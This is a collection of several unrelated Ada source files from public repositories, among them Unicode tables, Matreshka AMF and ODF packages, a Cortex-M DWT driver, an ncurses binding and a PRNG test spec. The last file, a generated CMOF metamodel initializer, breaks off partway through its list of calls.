Other, Other, Other, Alphabetic,
(Extender
| Grapheme_Base => True,
others => False)),
16#C9# => -- 0115C9
(Other_Punctuation, Neutral,
Other, Other, S_Term, Break_After,
(STerm
| Terminal_Punctuation
| Grapheme_Base => True,
others => False)),
others =>
(Unassigned, Neutral,
Other, Other, Other, Unknown,
(others => False)));
end Matreshka.Internals.Unicode.Ucd.Core_0115;
|
godunko/adawebpack | Ada | 3,662 | adb | ------------------------------------------------------------------------------
-- --
-- AdaWebPack --
-- --
------------------------------------------------------------------------------
-- Copyright © 2020, Vadim Godunko --
-- All rights reserved. --
-- --
-- Redistribution and use in source and binary forms, with or without --
-- modification, are permitted provided that the following conditions are --
-- met: --
-- --
-- 1. Redistributions of source code must retain the above copyright --
-- notice, this list of conditions and the following disclaimer. --
-- --
-- 2. Redistributions in binary form must reproduce the above copyright --
-- notice, this list of conditions and the following disclaimer in the --
-- documentation and/or other materials provided with the distribution. --
-- --
-- 3. Neither the name of the copyright holder nor the names of its --
-- contributors may be used to endorse or promote products derived --
-- from this software without specific prior written permission. --
-- --
-- THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS --
-- "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT --
-- LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR --
-- A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT --
-- HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, --
-- SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT --
-- LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, --
-- DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY --
-- THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT --
-- (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE --
-- OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. --
------------------------------------------------------------------------------
with Interfaces;
with System;
with Web.Strings.WASM_Helpers;
package body Web.Utilities is
--------------------
-- Is_Instance_Of --
--------------------
function Is_Instance_Of
(Object : WASM.Objects.Object_Reference'Class;
Class_Name : Web.Strings.Web_String) return Boolean
is
use type Interfaces.Unsigned_32;
function Imported
(Identifier : WASM.Objects.Object_Identifier;
Address : System.Address;
Size : Interfaces.Unsigned_32) return Interfaces.Unsigned_32
with Import => True,
Convention => C,
Link_Name => "__adawebpack__is_instance_of";
A : System.Address;
S : Interfaces.Unsigned_32;
begin
Web.Strings.WASM_Helpers.To_JS (Class_Name, A, S);
return Imported (Object.Identifier, A, S) /= 0;
end Is_Instance_Of;
end Web.Utilities;
|
reznikmm/matreshka | Ada | 5,658 | ads | ------------------------------------------------------------------------------
-- --
-- Matreshka Project --
-- --
-- Ada Modeling Framework --
-- --
-- Runtime Library Component --
-- --
------------------------------------------------------------------------------
-- --
-- Copyright © 2011-2012, Vadim Godunko <[email protected]> --
-- All rights reserved. --
-- --
-- Redistribution and use in source and binary forms, with or without --
-- modification, are permitted provided that the following conditions --
-- are met: --
-- --
-- * Redistributions of source code must retain the above copyright --
-- notice, this list of conditions and the following disclaimer. --
-- --
-- * Redistributions in binary form must reproduce the above copyright --
-- notice, this list of conditions and the following disclaimer in the --
-- documentation and/or other materials provided with the distribution. --
-- --
-- * Neither the name of the Vadim Godunko, IE nor the names of its --
-- contributors may be used to endorse or promote products derived from --
-- this software without specific prior written permission. --
-- --
-- THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS --
-- "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT --
-- LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR --
-- A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT --
-- HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, --
-- SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED --
-- TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR --
-- PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF --
-- LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING --
-- NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS --
-- SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. --
-- --
------------------------------------------------------------------------------
-- $Revision$ $Date$
------------------------------------------------------------------------------
-- This file is generated, don't edit it.
------------------------------------------------------------------------------
with AMF.Generic_Collections;
package AMF.UML.Clear_Structural_Feature_Actions.Collections is
pragma Preelaborate;
package UML_Clear_Structural_Feature_Action_Collections is
new AMF.Generic_Collections
(UML_Clear_Structural_Feature_Action,
UML_Clear_Structural_Feature_Action_Access);
type Set_Of_UML_Clear_Structural_Feature_Action is
new UML_Clear_Structural_Feature_Action_Collections.Set with null record;
Empty_Set_Of_UML_Clear_Structural_Feature_Action : constant Set_Of_UML_Clear_Structural_Feature_Action;
type Ordered_Set_Of_UML_Clear_Structural_Feature_Action is
new UML_Clear_Structural_Feature_Action_Collections.Ordered_Set with null record;
Empty_Ordered_Set_Of_UML_Clear_Structural_Feature_Action : constant Ordered_Set_Of_UML_Clear_Structural_Feature_Action;
type Bag_Of_UML_Clear_Structural_Feature_Action is
new UML_Clear_Structural_Feature_Action_Collections.Bag with null record;
Empty_Bag_Of_UML_Clear_Structural_Feature_Action : constant Bag_Of_UML_Clear_Structural_Feature_Action;
type Sequence_Of_UML_Clear_Structural_Feature_Action is
new UML_Clear_Structural_Feature_Action_Collections.Sequence with null record;
Empty_Sequence_Of_UML_Clear_Structural_Feature_Action : constant Sequence_Of_UML_Clear_Structural_Feature_Action;
private
Empty_Set_Of_UML_Clear_Structural_Feature_Action : constant Set_Of_UML_Clear_Structural_Feature_Action
:= (UML_Clear_Structural_Feature_Action_Collections.Set with null record);
Empty_Ordered_Set_Of_UML_Clear_Structural_Feature_Action : constant Ordered_Set_Of_UML_Clear_Structural_Feature_Action
:= (UML_Clear_Structural_Feature_Action_Collections.Ordered_Set with null record);
Empty_Bag_Of_UML_Clear_Structural_Feature_Action : constant Bag_Of_UML_Clear_Structural_Feature_Action
:= (UML_Clear_Structural_Feature_Action_Collections.Bag with null record);
Empty_Sequence_Of_UML_Clear_Structural_Feature_Action : constant Sequence_Of_UML_Clear_Structural_Feature_Action
:= (UML_Clear_Structural_Feature_Action_Collections.Sequence with null record);
end AMF.UML.Clear_Structural_Feature_Actions.Collections;
|
AdaCore/Ada_Drivers_Library | Ada | 3,541 | adb | ------------------------------------------------------------------------------
-- --
-- Copyright (C) 2017, AdaCore --
-- --
-- Redistribution and use in source and binary forms, with or without --
-- modification, are permitted provided that the following conditions are --
-- met: --
-- 1. Redistributions of source code must retain the above copyright --
-- notice, this list of conditions and the following disclaimer. --
-- 2. Redistributions in binary form must reproduce the above copyright --
-- notice, this list of conditions and the following disclaimer in --
-- the documentation and/or other materials provided with the --
-- distribution. --
-- 3. Neither the name of the copyright holder nor the names of its --
-- contributors may be used to endorse or promote products derived --
-- from this software without specific prior written permission. --
-- --
-- THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS --
-- "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT --
-- LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR --
-- A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT --
-- HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, --
-- SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT --
-- LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, --
-- DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY --
-- THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT --
-- (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE --
-- OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. --
-- --
------------------------------------------------------------------------------
with Cortex_M_SVD.Debug;
with Cortex_M_SVD.DWT;
with Ada.Unchecked_Conversion;
package body Cortex_M.DWT is
---------------------
-- Enable_DWT_Unit --
---------------------
procedure Enable_DWT_Unit is
use Cortex_M_SVD.Debug;
begin
Debug_Periph.DEMCR.TRCENA := False;
Debug_Periph.DEMCR.TRCENA := True;
end Enable_DWT_Unit;
----------------------
-- Disable_DWT_Unit --
----------------------
procedure Disable_DWT_Unit is
use Cortex_M_SVD.Debug;
begin
Debug_Periph.DEMCR.TRCENA := False;
end Disable_DWT_Unit;
----------------------
-- DWT_Unit_Enabled --
----------------------
function DWT_Unit_Enabled return Boolean is
use Cortex_M_SVD.Debug;
begin
return Debug_Periph.DEMCR.TRCENA;
end DWT_Unit_Enabled;
---------------------
-- DWT_Reset_Value --
---------------------
function DWT_Reset_Value return UInt32 is
use Cortex_M_SVD.DWT;
function As_UInt32 is new Ada.Unchecked_Conversion
(Source => CTRL_Register, Target => UInt32);
begin
return As_UInt32 (DWT_Periph.CTRL);
end DWT_Reset_Value;
end Cortex_M.DWT;
|
zhmu/ananas | Ada | 2,975 | ads | ------------------------------------------------------------------------------
-- --
-- GNAT COMPILER COMPONENTS --
-- --
-- G N A T . W I D E _ W I D E _ S T R I N G _ S P L I T --
-- --
-- S p e c --
-- --
-- Copyright (C) 2002-2022, Free Software Foundation, Inc. --
-- --
-- GNAT is free software; you can redistribute it and/or modify it under --
-- terms of the GNU General Public License as published by the Free Soft- --
-- ware Foundation; either version 3, or (at your option) any later ver- --
-- sion. GNAT is distributed in the hope that it will be useful, but WITH- --
-- OUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY --
-- or FITNESS FOR A PARTICULAR PURPOSE. --
-- --
-- As a special exception under Section 7 of GPL version 3, you are granted --
-- additional permissions described in the GCC Runtime Library Exception, --
-- version 3.1, as published by the Free Software Foundation. --
-- --
-- You should have received a copy of the GNU General Public License and --
-- a copy of the GCC Runtime Library Exception along with this program; --
-- see the files COPYING3 and COPYING.RUNTIME respectively. If not, see --
-- <http://www.gnu.org/licenses/>. --
-- --
-- GNAT was originally developed by the GNAT team at New York University. --
-- Extensive contributions were provided by Ada Core Technologies Inc. --
-- --
------------------------------------------------------------------------------
-- Useful wide_string-manipulation routines: given a set of separators, split
-- a wide_string wherever the separators appear, and provide direct access
-- to the resulting slices. See GNAT.Array_Split for full documentation.
with Ada.Strings.Wide_Wide_Maps; use Ada.Strings;
with GNAT.Array_Split;
package GNAT.Wide_Wide_String_Split is new GNAT.Array_Split
(Element => Wide_Wide_Character,
Element_Sequence => Wide_Wide_String,
Element_Set => Wide_Wide_Maps.Wide_Wide_Character_Set,
To_Set => Wide_Wide_Maps.To_Set,
Is_In => Wide_Wide_Maps.Is_In);
|
frankyyyt/Level | Ada | 2,044 | ads | <ADSWorkspace Revision="7" Version="100">
<Workspace Name="">
<Library Name="1xEV" />
<Library Name="3GPPFDD" />
<Library Name="3GPPFDD_10_99" />
<Library Name="Antennas_and_Propagation" />
<Library Name="CDMA" />
<Library Name="CMMB" />
<Library Name="Circuit_Cosimulation" />
<Library Name="Controllers" />
<Library Name="DTMB" />
<Library Name="DTV" />
<Library Name="EDGE" />
<Library Name="GSM" />
<Library Name="HDL_Blocks" />
<Library Name="HSDPA" />
<Library Name="HSUPA" />
<Library Name="Instruments" />
<Library Name="Interactive_Controls_and_Displays" />
<Library Name="LTE" />
<Library Name="Numeric" />
<Library Name="Obsolete" />
<Library Name="Signal_Converters" />
<Library Name="Simulation_Sequencing" />
<Library Name="Sinks" />
<Library Name="TDSCDMA" />
<Library Name="Timed" />
<Library Name="UMB" />
<Library Name="UWB" />
<Library Name="WLAN" />
<Library Name="WLAN_11n" />
<Library Name="WMAN" />
<Library Name="WMAN_16e" />
<Library Name="ads_behavioral" />
<Library Name="ads_common_cmps" />
<Library Name="ads_datacmps" />
<Library Name="ads_designs" />
<Library Name="ads_rflib" />
<Library Name="ads_schematic_layers" />
<Library Name="ads_simulation" />
<Library Name="ads_sources" />
<Library Name="ads_standard_layers" />
<Library Name="ads_textfonts" />
<Library Name="ads_tlines" />
<Library Name="adstechlib" />
<Library Name="cdma2000" />
<Library Name="cc1101_lib" />
<Preferences Name="layout.prf" />
<Preferences Name="schematic.prf" />
<Cell Name="cc1101_lib:match" />
<Data_Display Name="match.dds" />
<Dataset Name="match.ds" />
<Log Name="netlist.log" />
</Workspace>
</ADSWorkspace>
|
Tim-Tom/project-euler | Ada | 58 | ads | package Problem_12 is
procedure Solve;
end Problem_12;
|
jhumphry/PRNG_Zoo | Ada | 2,221 | ads | --
-- PRNG Zoo
-- Copyright (c) 2014 - 2015, James Humphry
--
-- Permission to use, copy, modify, and/or distribute this software for any
-- purpose with or without fee is hereby granted, provided that the above
-- copyright notice and this permission notice appear in all copies.
--
-- THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES WITH
-- REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF MERCHANTABILITY
-- AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY SPECIAL, DIRECT,
-- INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM
-- LOSS OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE
-- OR OTHER TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION WITH THE USE OR
-- PERFORMANCE OF THIS SOFTWARE.
with AUnit; use AUnit;
with AUnit.Test_Cases; use AUnit.Test_Cases;
with PRNG_Zoo.xorshift;
with PRNG_Zoo.xorshift_star;
with PRNG_Zoo.xorshift_plus;
with PRNGTests_Suite.Sanity_Checks;
with PRNGTests_Suite.Sanity_Checks32;
package PRNGTests_Suite.xorshift_Family_Tests is
type xorshift_Family_Test is new Test_Cases.Test_Case with null record;
procedure Register_Tests (T: in out xorshift_Family_Test);
function Name (T : xorshift_Family_Test) return Test_String;
procedure Set_Up (T : in out xorshift_Family_Test);
-- Test Routines:
procedure Sanity_Check_SHR3 is
new PRNGTests_Suite.Sanity_Checks32(P => xorshift.SHR3);
procedure Sanity_Check_xor64 is
new PRNGTests_Suite.Sanity_Checks(P => xorshift.xor64);
procedure Sanity_Check_xorshift_3 is
new PRNGTests_Suite.Sanity_Checks(P => xorshift.xorshift_3);
procedure Sanity_Check_xss64 is
new PRNGTests_Suite.Sanity_Checks(P => xorshift_star.xorshift64_star);
procedure Sanity_Check_xss1024 is
new PRNGTests_Suite.Sanity_Checks(P => xorshift_star.xorshift1024_star);
procedure Sanity_Check_xss4096 is
new PRNGTests_Suite.Sanity_Checks(P => xorshift_star.xorshift4096_star);
procedure Sanity_Check_xsp128 is
new PRNGTests_Suite.Sanity_Checks(P => xorshift_plus.xorshift128_plus);
procedure Sanity_Check_xorshift_array_32(T : in out Test_Case'Class);
end PRNGTests_Suite.xorshift_Family_Tests;
|
onox/orka | Ada | 1,555 | ads | -- SPDX-License-Identifier: Apache-2.0
--
-- Copyright (c) 2021 onox <[email protected]>
--
-- Licensed under the Apache License, Version 2.0 (the "License");
-- you may not use this file except in compliance with the License.
-- You may obtain a copy of the License at
--
-- http://www.apache.org/licenses/LICENSE-2.0
--
-- Unless required by applicable law or agreed to in writing, software
-- distributed under the License is distributed on an "AS IS" BASIS,
-- WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-- See the License for the specific language governing permissions and
-- limitations under the License.
with Orka.SIMD.SSE.Singles.Arithmetic;
with Orka.SIMD.SSE2.Integers.Shift;
package Orka.SIMD.SSE2.Integers.Convert is
pragma Pure;
use SIMD.SSE.Singles;
use SIMD.SSE.Singles.Arithmetic;
use SIMD.SSE2.Integers.Shift;
function Convert (Elements : m128) return m128i
with Import, Convention => Intrinsic, External_Name => "__builtin_ia32_cvtps2dq";
function Convert (Elements : m128i) return m128
with Import, Convention => Intrinsic, External_Name => "__builtin_ia32_cvtdq2ps";
Smallest_Elements : constant m128 := (others => 2.0**(-Float_32'Machine_Mantissa));
function To_Unit_Floats (Elements : m128i) return m128 is
(Convert (Shift_Bits_Right_Zeros (Elements, Float_32'Size - Float_32'Machine_Mantissa))
* Smallest_Elements)
with Inline;
-- Return floating-point numbers in the 0 .. 1 interval
end Orka.SIMD.SSE2.Integers.Convert;
|
reznikmm/matreshka | Ada | 3,674 | ads | ------------------------------------------------------------------------------
-- --
-- Matreshka Project --
-- --
-- Open Document Toolkit --
-- --
-- Runtime Library Component --
-- --
------------------------------------------------------------------------------
-- --
-- Copyright © 2014, Vadim Godunko <[email protected]> --
-- All rights reserved. --
-- --
-- Redistribution and use in source and binary forms, with or without --
-- modification, are permitted provided that the following conditions --
-- are met: --
-- --
-- * Redistributions of source code must retain the above copyright --
-- notice, this list of conditions and the following disclaimer. --
-- --
-- * Redistributions in binary form must reproduce the above copyright --
-- notice, this list of conditions and the following disclaimer in the --
-- documentation and/or other materials provided with the distribution. --
-- --
-- * Neither the name of the Vadim Godunko, IE nor the names of its --
-- contributors may be used to endorse or promote products derived from --
-- this software without specific prior written permission. --
-- --
-- THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS --
-- "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT --
-- LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR --
-- A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT --
-- HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, --
-- SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED --
-- TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR --
-- PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF --
-- LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING --
-- NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS --
-- SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. --
-- --
------------------------------------------------------------------------------
-- $Revision$ $Date$
------------------------------------------------------------------------------
with XML.DOM.Elements;
package ODF.DOM.Form_Properties_Elements is
pragma Preelaborate;
type ODF_Form_Properties is limited interface
and XML.DOM.Elements.DOM_Element;
type ODF_Form_Properties_Access is
access all ODF_Form_Properties'Class
with Storage_Size => 0;
end ODF.DOM.Form_Properties_Elements;
|
mitchelhaan/ncurses | Ada | 3,598 | ads | ------------------------------------------------------------------------------
-- --
-- GNAT ncurses Binding --
-- --
-- Terminal_Interface.Curses.Text_IO.Decimal_IO --
-- --
-- S P E C --
-- --
------------------------------------------------------------------------------
-- Copyright (c) 1998 Free Software Foundation, Inc. --
-- --
-- Permission is hereby granted, free of charge, to any person obtaining a --
-- copy of this software and associated documentation files (the --
-- "Software"), to deal in the Software without restriction, including --
-- without limitation the rights to use, copy, modify, merge, publish, --
-- distribute, distribute with modifications, sublicense, and/or sell --
-- copies of the Software, and to permit persons to whom the Software is --
-- furnished to do so, subject to the following conditions: --
-- --
-- The above copyright notice and this permission notice shall be included --
-- in all copies or substantial portions of the Software. --
-- --
-- THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS --
-- OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF --
-- MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. --
-- IN NO EVENT SHALL THE ABOVE COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, --
-- DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR --
-- OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR --
-- THE USE OR OTHER DEALINGS IN THE SOFTWARE. --
-- --
-- Except as contained in this notice, the name(s) of the above copyright --
-- holders shall not be used in advertising or otherwise to promote the --
-- sale, use or other dealings in this Software without prior written --
-- authorization. --
------------------------------------------------------------------------------
-- Author: Juergen Pfeifer <[email protected]> 1996
-- Version Control:
-- $Revision: 1.7 $
-- Binding Version 00.93
------------------------------------------------------------------------------
generic
type Num is delta <> digits <>;
package Terminal_Interface.Curses.Text_IO.Decimal_IO is
Default_Fore : Field := Num'Fore;
Default_Aft : Field := Num'Aft;
Default_Exp : Field := 0;
procedure Put
(Win : in Window;
Item : in Num;
Fore : in Field := Default_Fore;
Aft : in Field := Default_Aft;
Exp : in Field := Default_Exp);
procedure Put
(Item : in Num;
Fore : in Field := Default_Fore;
Aft : in Field := Default_Aft;
Exp : in Field := Default_Exp);
private
pragma Inline (Put);
end Terminal_Interface.Curses.Text_IO.Decimal_IO;
|
reznikmm/matreshka | Ada | 306,993 | adb | ------------------------------------------------------------------------------
-- --
-- Matreshka Project --
-- --
-- Ada Modeling Framework --
-- --
-- Runtime Library Component --
-- --
------------------------------------------------------------------------------
-- --
-- Copyright © 2012, Vadim Godunko <[email protected]> --
-- All rights reserved. --
-- --
-- Redistribution and use in source and binary forms, with or without --
-- modification, are permitted provided that the following conditions --
-- are met: --
-- --
-- * Redistributions of source code must retain the above copyright --
-- notice, this list of conditions and the following disclaimer. --
-- --
-- * Redistributions in binary form must reproduce the above copyright --
-- notice, this list of conditions and the following disclaimer in the --
-- documentation and/or other materials provided with the distribution. --
-- --
-- * Neither the name of the Vadim Godunko, IE nor the names of its --
-- contributors may be used to endorse or promote products derived from --
-- this software without specific prior written permission. --
-- --
-- THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS --
-- "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT --
-- LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR --
-- A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT --
-- HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, --
-- SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED --
-- TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR --
-- PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF --
-- LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING --
-- NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS --
-- SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. --
-- --
------------------------------------------------------------------------------
-- $Revision$ $Date$
------------------------------------------------------------------------------
-- This file is generated, don't edit it.
------------------------------------------------------------------------------
with AMF.Internals.Extents;
with AMF.Internals.Tables.CMOF_Constructors;
with AMF.Internals.Tables.CMOF_Element_Table;
with AMF.Internals.Tables.CMOF_String_Data_00;
package body AMF.Internals.Tables.CMOF_Metamodel.Objects is
----------------
-- Initialize --
----------------
procedure Initialize is
Extent : constant AMF.Internals.AMF_Extent
:= AMF.Internals.Extents.Allocate_Extent
(AMF.Internals.Tables.CMOF_String_Data_00.MS_006F'Access);
begin
Base := AMF.Internals.Tables.CMOF_Element_Table.Last;
Initialize_1 (Extent);
Initialize_2 (Extent);
Initialize_3 (Extent);
Initialize_4 (Extent);
Initialize_5 (Extent);
Initialize_6 (Extent);
Initialize_7 (Extent);
Initialize_8 (Extent);
Initialize_9 (Extent);
Initialize_10 (Extent);
Initialize_11 (Extent);
Initialize_12 (Extent);
Initialize_13 (Extent);
Initialize_14 (Extent);
Initialize_15 (Extent);
Initialize_16 (Extent);
Initialize_17 (Extent);
Initialize_18 (Extent);
Initialize_19 (Extent);
Initialize_20 (Extent);
Initialize_21 (Extent);
Initialize_22 (Extent);
Initialize_23 (Extent);
Initialize_24 (Extent);
Initialize_25 (Extent);
Initialize_26 (Extent);
Initialize_27 (Extent);
Initialize_28 (Extent);
Initialize_29 (Extent);
Initialize_30 (Extent);
Initialize_31 (Extent);
Initialize_32 (Extent);
Initialize_33 (Extent);
Initialize_34 (Extent);
Initialize_35 (Extent);
Initialize_36 (Extent);
Initialize_37 (Extent);
Initialize_38 (Extent);
Initialize_39 (Extent);
Initialize_40 (Extent);
Initialize_41 (Extent);
Initialize_42 (Extent);
Initialize_43 (Extent);
Initialize_44 (Extent);
Initialize_45 (Extent);
Initialize_46 (Extent);
Initialize_47 (Extent);
Initialize_48 (Extent);
Initialize_49 (Extent);
Initialize_50 (Extent);
Initialize_51 (Extent);
Initialize_52 (Extent);
Initialize_53 (Extent);
Initialize_54 (Extent);
Initialize_55 (Extent);
Initialize_56 (Extent);
Initialize_57 (Extent);
Initialize_58 (Extent);
Initialize_59 (Extent);
Initialize_60 (Extent);
Initialize_61 (Extent);
Initialize_62 (Extent);
Initialize_63 (Extent);
Initialize_64 (Extent);
Initialize_65 (Extent);
Initialize_66 (Extent);
Initialize_67 (Extent);
Initialize_68 (Extent);
Initialize_69 (Extent);
Initialize_70 (Extent);
Initialize_71 (Extent);
Initialize_72 (Extent);
Initialize_73 (Extent);
Initialize_74 (Extent);
Initialize_75 (Extent);
Initialize_76 (Extent);
Initialize_77 (Extent);
Initialize_78 (Extent);
Initialize_79 (Extent);
Initialize_80 (Extent);
Initialize_81 (Extent);
Initialize_82 (Extent);
Initialize_83 (Extent);
Initialize_84 (Extent);
Initialize_85 (Extent);
Initialize_86 (Extent);
Initialize_87 (Extent);
Initialize_88 (Extent);
Initialize_89 (Extent);
Initialize_90 (Extent);
Initialize_91 (Extent);
Initialize_92 (Extent);
Initialize_93 (Extent);
Initialize_94 (Extent);
Initialize_95 (Extent);
Initialize_96 (Extent);
Initialize_97 (Extent);
Initialize_98 (Extent);
Initialize_99 (Extent);
Initialize_100 (Extent);
Initialize_101 (Extent);
Initialize_102 (Extent);
Initialize_103 (Extent);
Initialize_104 (Extent);
Initialize_105 (Extent);
Initialize_106 (Extent);
Initialize_107 (Extent);
Initialize_108 (Extent);
Initialize_109 (Extent);
Initialize_110 (Extent);
Initialize_111 (Extent);
Initialize_112 (Extent);
Initialize_113 (Extent);
Initialize_114 (Extent);
Initialize_115 (Extent);
Initialize_116 (Extent);
Initialize_117 (Extent);
Initialize_118 (Extent);
Initialize_119 (Extent);
Initialize_120 (Extent);
Initialize_121 (Extent);
Initialize_122 (Extent);
Initialize_123 (Extent);
Initialize_124 (Extent);
Initialize_125 (Extent);
Initialize_126 (Extent);
Initialize_127 (Extent);
Initialize_128 (Extent);
Initialize_129 (Extent);
Initialize_130 (Extent);
Initialize_131 (Extent);
Initialize_132 (Extent);
Initialize_133 (Extent);
Initialize_134 (Extent);
Initialize_135 (Extent);
Initialize_136 (Extent);
Initialize_137 (Extent);
Initialize_138 (Extent);
Initialize_139 (Extent);
Initialize_140 (Extent);
Initialize_141 (Extent);
Initialize_142 (Extent);
Initialize_143 (Extent);
Initialize_144 (Extent);
Initialize_145 (Extent);
Initialize_146 (Extent);
Initialize_147 (Extent);
Initialize_148 (Extent);
Initialize_149 (Extent);
Initialize_150 (Extent);
Initialize_151 (Extent);
Initialize_152 (Extent);
Initialize_153 (Extent);
Initialize_154 (Extent);
Initialize_155 (Extent);
Initialize_156 (Extent);
Initialize_157 (Extent);
Initialize_158 (Extent);
Initialize_159 (Extent);
Initialize_160 (Extent);
Initialize_161 (Extent);
Initialize_162 (Extent);
Initialize_163 (Extent);
Initialize_164 (Extent);
Initialize_165 (Extent);
Initialize_166 (Extent);
Initialize_167 (Extent);
Initialize_168 (Extent);
Initialize_169 (Extent);
Initialize_170 (Extent);
Initialize_171 (Extent);
Initialize_172 (Extent);
Initialize_173 (Extent);
Initialize_174 (Extent);
Initialize_175 (Extent);
Initialize_176 (Extent);
Initialize_177 (Extent);
Initialize_178 (Extent);
Initialize_179 (Extent);
Initialize_180 (Extent);
Initialize_181 (Extent);
Initialize_182 (Extent);
Initialize_183 (Extent);
Initialize_184 (Extent);
Initialize_185 (Extent);
Initialize_186 (Extent);
Initialize_187 (Extent);
Initialize_188 (Extent);
Initialize_189 (Extent);
Initialize_190 (Extent);
Initialize_191 (Extent);
Initialize_192 (Extent);
Initialize_193 (Extent);
Initialize_194 (Extent);
Initialize_195 (Extent);
Initialize_196 (Extent);
Initialize_197 (Extent);
Initialize_198 (Extent);
Initialize_199 (Extent);
Initialize_200 (Extent);
Initialize_201 (Extent);
Initialize_202 (Extent);
Initialize_203 (Extent);
Initialize_204 (Extent);
Initialize_205 (Extent);
Initialize_206 (Extent);
Initialize_207 (Extent);
Initialize_208 (Extent);
Initialize_209 (Extent);
Initialize_210 (Extent);
Initialize_211 (Extent);
Initialize_212 (Extent);
Initialize_213 (Extent);
Initialize_214 (Extent);
